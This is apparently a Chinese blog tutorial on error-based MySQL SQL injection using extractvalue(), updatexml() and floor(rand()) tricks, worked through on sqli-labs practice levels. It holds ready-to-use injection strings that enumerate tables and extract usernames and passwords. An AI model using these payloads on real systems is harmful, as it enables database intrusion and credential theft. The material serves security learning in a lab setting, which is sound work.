什么是报错注入?
报错注入是一种页面响应形式。响应过程如下:
用户在前台页面输入检索内容
↓
后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行
↓
数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上
两个“无加区别” ←(报错注入存在的基础)→ 后台对于输入输出的合理性没有做检查
(使用union时一般不会使用报错注入,报错注入有一定局限性,但回显信息不多)
(数据库服务器)
判断是否为报错注入就要看页面是否有回显,当正常用户访问服务器发送id信息,数据库服务器返回正确的id数据;当用户发送错误的信息,数据库服务器就会返回报错提示
报错注入通过构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,数据库服务器返回报错提示中包含数据库中的内容
eg:
id=1时页面正常,pc把收到的信息转化为源代码发送给服务器,数据库服务器收到代码信息后查询数据库,服务器再把搜索到的信息反馈给pc,反馈信息提示You are in……
当使用group by或order by判断列数为3后,使用正确的查询语句查询database()
发现命令正常执行,但是页面不正常回显,任为You are in……
把database更改为datadase后,引起页面报错,从回显的报错中可以发现当前数据库名为security
报错注入
- 通过floor()报错注入
- 通过extractValue()报错注入
- 通过updateXml()报错注入 ------以上三种最常用
- 通过NAME_CONST()报错注入
- 通过jion()报错注入
- 通过exp()报错注入
- 通过geometryCollection()报错注入
- 通过polygon()报错注入
- 通过multipoint()报错注入
- 通过multlinestring()报错注入
- 通过multpolygon()报错注入
- 通过linestring()报错注入
ExtractValue()
函数ExtractValue()包含两个参数,第一个参数 XML文档对象名称,第二个参数 路径
以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法
- 先在ctfstu数据库内创建表xml
CREATE DATABASE ctfstu charset utf8;
CREATE TABLE xml(doc varchar(1500));
- 在表内插入两段数据
INSERT INTO xml (doc) VALUES ('<book> <title>A bad boy how to get a grilfriend</title> <author> <initial>Love</initial> <surname>benben</surname> </author> </book>');
INSERT into xml(doc) VALUES ('<book> <title>How to become a bad boy</title> <author> <initial>hulong</initial> <surname>Melton</surname> </author> </book>');
- 使用extractvalue()查询xml里面的内容
查询作者是谁 extractvalue()中一个是列名,一个是路径
SELECT extractvalue(doc,'/book/author/surname')from xml;
如果需要查询书名则可以用以下命令
SELECT extractvalue(doc,'/book/title')from xml;
把查询参数路径写错 查询不到内容,但不会报错
SELECT extractvalue(doc,'/book/titlll') from xml;
把查询参数格式符号写错 提示报错信息
SELECT extractvalue(doc,'~book/title') from xml;
发现报错会显示路径信息,所有构造下列语句
SELECT extractvalue(doc,concat(0x7e,(select database()))) from xml;
报错信息中返回数据库名
利用extractvalue()报错注入 Less-5
爆库名:
使用?id=100' union select 1,2,extractvalue(1,concat(0x7e,(select database())))-- -
或者使用?id=100' and 1=extractvalue(1,concat(0x7e,(select database())))-- - 都可得到以下结果
爆表名:
输入?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))-- - 获取所需数据表表名users
爆列名
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))-- -
得到所需数据列列名username和password
输入?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users)))-- - 因为默认只返回32个字符串,所有发现显示的不完全
应使用函数substring解决该问题
?id=100' and 1=extractvalue(1,concat(0x7e,substring((select group_concat(username,password)from users),1,33)))-- -
1,33代表从第1个字符开始,看33个字符
updatexml函数(用于数据更新)
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数:XML_document是string格式,为XML文档对象的名称,例如Doc
第二个参数:XPath_string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到的符合条件的数据
updatexml报错原理
同extractvalue(),输入错误的第二个参数,即更改路径的符号
正常句式
SELECT updatexml(doc,'/book/author/surname','1') from xml;
显示为
错误句式
SELECT updatexml(doc,'~book/author/surname','1') from xml;
报错回显路径~book/author/surname 也只能回显32个字符串,所以也会用到substring
利用updatexml()报错注入 Less-6
爆数据库名
?id=1" and 1=updatexml(1,concat(0x7e,(select database())),3)-- - 或 ?id=1" and 1=updatexml(1,concat('~',(select database())),3)-- -
爆表名
?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)-- -
(如此发现无论是爆库名,爆表名,爆列名等等,都是千篇一律的,主要是记住命令形式
database() 数据库库名
group_concat() 把查询到的结果合并到一行显示
concat() 合并字符
优先执行括号 () 里的命令 )
爆列名
?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)-- -
爆字段名(使用到substring函数也可使用substr函数)
?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,':',password),1,30) from users)),3)-- - 显示1~30字符
?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,':',password),30,30) from users)),3)-- - 显示30~59字符第30个字符为,
floor报错注入
rand()函数:随机返回0~1间的小数
计算结果在0~1之间 SELECT rand(); 计算结果在0~2之间 SELECT rand()*2;
如果在rand()函数后面加上from users
SELECT rand()*2 from users;
在users这张表下有多少列,rand函数就会随机生成多少次,可用于判断数据表的列数
floor()函数:小数向下取整。向上取整数ceiling()
结果随机为0或者1
SELECT floor(rand()*2);
在后加上from users
SELECT floor(rand()*2) from users;
可以得到很多的0,1 但是不一定能显示完
concat_ws()函数:将括号内数据用第一个字段连接起来
如图所示
SELECT concat_ws('-',2,3); SELECT concat_ws('-',(select database()),3);
根据回显,将数字替换成一些命令,可以得到数据库名,版本号等等 让它执行多次,在后面加上from users (有多少用户就计算多少此且结果随机)
SELECT concat_ws('-',(select database()),floor(rand()*2)); SELECT concat_ws('-',(select database()),floor(rand()*2))from users;
group by子句:分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组 as:别名
使用别名分组
SELECT concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;
count()函数:汇总统计数量
输入指令
SELECT count(*),concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;
我第一次点,发现并没有报错
但是再执行一次或者两次,发现出现报错
偶尔出现报错#1062 - Duplicate entry 'security~1' for key '<group_key>' 或者#1062 - Duplicate entry 'security~0' for key '<group_key>'
报错原理
报错语句和报错位置
SELECT floor(rand()*2) from users; 根据表users的行数随机显示0或1 SELECT floor(rand(0)*2) from users; 计算不再随机,而是按照一定顺序排列 SELECT floor(rand(1)*2) from users; SELECT count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a; 固定报错 SELECT count(*),concat_ws('-',(select database()),floor(rand(1)*2)) as a from users group by a; 固定不会报错
把count去掉不再报错,说明是在统计时出现错误
输入命令 SELECT concat_ws('-',(select database()),floor(rand(0)*2))from users; 计算结果固定
rand() 函数惊醒分组group by 和统计count()时可能会多次执行,导致键值key重复
分析:对floor(rand(0)*2) 的第一次统计时进行第一次floor()计算为0,并得到键值security-0,然后需要对concat_ws()的值进行统计并放到group_key,但是第一次统计计数时,group_key中不存在key值security-0,所以会返回到concat_ws重新计算并把结果输入键值,第二次floor()计算出security-1写入键值;对于第二次统计时,实际上是第三次floor()计算,得到security-1,然后对它进行统计,count()计数为2;第三次统计时,进行第四次floor()计算得到security-0,但是在进行统计时,发现group_key中没有此key值,再次返回到concat_ws()重新计算(第五次floor()计算)得到security-1写入key值,但是这时key值securit-1已经存在,所以报错 ERROR:Duplicat entyr 'security=1' for key '<group_key>'
对于floor(rand(1)*2),对它进行第一次统计时,进行第一次floor()计算,得到security-0,但是对它进行统计时group_key中没有键值security-0,所以重新计算并把结果security-1写入键值,计数为1,第二次统计时进行第三次floor()计算得到0,对concat_ws()的值进行统计,group_key中没有security-0,再返回进行第四次floor()计算正好得到0,所以group_key 中就有了security-0,所以当rand()*2中为1时不会报错
select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;
↓
作用是让rand()产生足够多次数的计算,一般使用行数比较多的默认数据表information_schema.tables
SELECT count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a;
floor()注入 Less-5
确认字符注入(闭合符号)/数字注入,前段语句查询列数
?id=0' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a-- -
?id=0' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a-- -
?id=0' union select 1,count(*),concat_ws('-',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as a from information_schema.tables group by a -- -
limit:这里用于显示指定行数
发现使用group_concat无法显示,可以尝试concat
?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
limit 0,1 从0开始显示第一行
使用floor报错的完整语句,用于爆出用户名和密码的
?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a -- -
标签:rand,group,floor,报错,concat,select,注入 From: https://www.cnblogs.com/cheng-yicheng/p/17628717.html